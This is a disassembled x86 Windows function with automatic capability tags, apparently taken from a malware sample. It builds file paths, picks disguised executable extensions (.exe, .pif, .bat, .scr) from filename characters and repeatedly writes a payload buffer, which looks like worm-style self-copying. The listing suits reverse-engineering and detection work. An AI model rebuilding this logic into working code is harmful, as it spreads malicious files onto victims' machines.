Function at 0x410b6c
Capabilities:
Check for time delay via gettickcount
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x7f
pop ecx
xor eax, eax
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x210]
push eax
call edi
push 0x42a3a8
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp + 0xc], 0
je 0x410c8c
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
mov esi, eax
add esi, ebx
mov al, byte [esi]
cmp al, 0x5c
je 0x410bdf
cmp al, 0x2f
jne 0x410be0
jmp 0x410bdf
cmp al, 0x2f
je 0x410be6
cmp esi, ebx
jbe 0x410be6
dec esi
mov al, byte [esi]
cmp al, 0x5c
jne 0x410bd7
inc esi
push 0x42a438
push esi
call fcn.0041356e
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
je 0x410c06
inc ebx
push ebx
call edi
cmp eax, 5
jl 0x410c06
push ebx
jmp 0x410c07
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x210]
push eax
call edi
lea esi, [ebp + eax - 0x210]
lea eax, [esi - 1]
mov cl, byte [eax]
cmp cl, 0x5c
je 0x410c33
cmp cl, 0x2f
jne 0x410c38
mov esi, eax
mov byte [esi], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421b28
pop ecx
call fcn.00421b32
push 2
cdq
pop ecx
idiv ecx
test edx, edx
jg 0x410cd1
cmp byte [0x44f780], 0
jne 0x410cbb
cmp byte [0x44f781], 0
je 0x410cd1
mov eax, dword [0x44f790]
mov dword [ebp + 8], eax
mov eax, dword [0x44f788]
mov dword [ebp - 8], 0x44f77c
mov dword [ebp - 4], eax
mov byte [ebp + 0xf], 0
jmp 0x410d10
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp + eax - 0x210]
push eax
call fcn.004078d6
pop ecx
lea eax, [ebp - 0x210]
push eax
call esi
lea esi, [ebp + eax - 0x210]
jmp 0x410c3e
mov eax, dword [0x44f78c]
mov dword [ebp + 8], eax
mov eax, dword [0x44f784]
mov dword [ebp - 8], 0x44f778
jmp 0x410c80
cmp byte [0x44f768], 0
je 0x410ce8
mov eax, dword [0x44f76c]
mov dword [ebp - 8], 0x44f760
jmp 0x410d01
cmp byte [0x44f769], 0
je 0x410e2c
mov eax, dword [0x44f770]
mov dword [ebp - 8], 0x44f764
mov dword [ebp - 4], eax
mov eax, dword [0x44f774]
mov dword [ebp + 8], eax
mov byte [ebp + 0xf], 1
cmp dword [ebp - 4], 0
je 0x410e2c
mov eax, dword [ebp - 8]
inc dword [eax]
cmp byte [ebp + 0xf], 0
je 0x410d60
movzx ecx, byte [esi - 2]
movzx eax, byte [esi - 3]
add eax, ecx
movzx ecx, byte [esi - 1]
add eax, ecx
push 6
cdq
pop ecx
idiv ecx
dec edx
je 0x410d59
dec edx
je 0x410d52
dec edx
je 0x410d4b
push str..exe
jmp 0x410d65
push str..pif
jmp 0x410d65
push str..bat
jmp 0x410d65
push str..scr
jmp 0x410d65
push str..rar
push esi
call edi
and dword [ebp - 0xc], 0
mov esi, 0x80
cmp byte [0x448064], 0
jne 0x410da9
lea eax, [ebp - 0x210]
push eax
call fcn.004138a4
test eax, eax
pop ecx
je 0x410da9
cmp byte [ebp + 0xf], 0
je 0x410e27
lea eax, [ebp - 0x210]
push eax
call fcn.00413638
cmp eax, 0x61a80
pop ecx
jae 0x410e27
and dword [ebp - 0x10], 0
mov ebx, dword [ebp + 8]
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push esi
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x410e13
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test ebx, ebx
jbe 0x410e13
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, ebx
add eax, dword [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x410e13
sub ebx, dword [ebp - 0x10]
jne 0x410df1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 5
jl 0x410d71
mov eax, dword [ebp - 8]
dec dword [eax]
pop edi
pop esi
pop ebx
leave
ret